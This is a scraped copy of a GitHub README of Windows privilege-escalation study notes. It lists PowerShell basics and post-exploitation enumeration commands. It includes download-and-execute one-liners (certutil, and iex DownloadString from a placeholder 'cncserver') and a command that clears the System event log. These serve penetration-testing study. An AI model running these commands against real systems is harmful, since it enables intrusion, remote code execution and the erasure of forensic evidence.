Coder Social home page Coder Social logo

windowsprivesc's Introduction

WindowsPrivEsc

Repository on Windows Privilege Escalation, It contains helpful resources which can guide you escalating your privileges on Windows. I was noting all of the Privilege Escalation methods and vectors while I was studying it. Please go through it and you may find it helpful. Also, Small CheatSheets can be found here which can be important. Will keep updating it!

PowerShell Basic Commands:

Get-ChildItem (Displays all the contents in the current directory)

Get-Alias (Displays all the aliases)

Set-Alias (Setup your Alias)

$profile (Lists your powershell profile, for eg: "C:\Users\user\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1")

Import-Module ./PowerUp.ps1 (Imports a PowerShell Script Module)

Remove-Item (Delete any file or folder)

Import-Alias (Import aliases)

Download and Execute:

CertUtil:

certutil -urlcache -f http://127.0.0.1/sample.exe C:\temp\sample.exe && C:\temp\sample.exe

PowerShell:

Download file and save to disk :

Invoke-WebRequest "http://127.0.0.1/sample.exe" -OutFile "C:\temp\sample.exe"

Download and execute in memory :

iex (New-Object Net.WebClient).DownloadString('http://cncserver/samplescript.ps1')

Post exploitation enumeration:

  • whoami /all : Gain all information about the user on the machine.
  • whoami/groups : Gain information only about the groups the current user is present in.
  • whoami /priv : Gain information about the privileges of the user.
  • systeminfo : Display information about the system such as Kernel Version, Architecture, OS Version and so on.
  • driverquery : Display a list of all the installed drivers on victim machine
  • sc query <servicename> : Display information about a particular service.
  • tasklist : Obtain Information about running tasks
  • tasklist /m kernel32.dll : Obtain information about running tasks which are linked with a particular module
  • taskkill /f /pid <pid> : Kill a specified process ID
  • wevtutil el : List all logs on the system
  • wevtutil cl System : Clear all logs (Requires Admin Privileges)
  • wmic logicaldisk get Caption,Description : List all hard-drives on the system
  • sc query | findstr "SERVICE_NAME" : Display all service names

Socials

TwitterID: https://twitter.com/BhalgamaVedant

YouTube: https://www.youtube.com/channel/UCIlMtOiRDi1luvhtjczvjJw

windowsprivesc's People

Contributors

vedant-bhalgama avatar

Stargazers

 avatar  avatar Rahmi YILDIZ avatar Kavin Jindal avatar RightToPrivacy avatar Krisna Pranav avatar Samartha J V  avatar  avatar muuk avatar  avatar

Watchers

 avatar

Forkers

rahmiy leonctfhtb

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.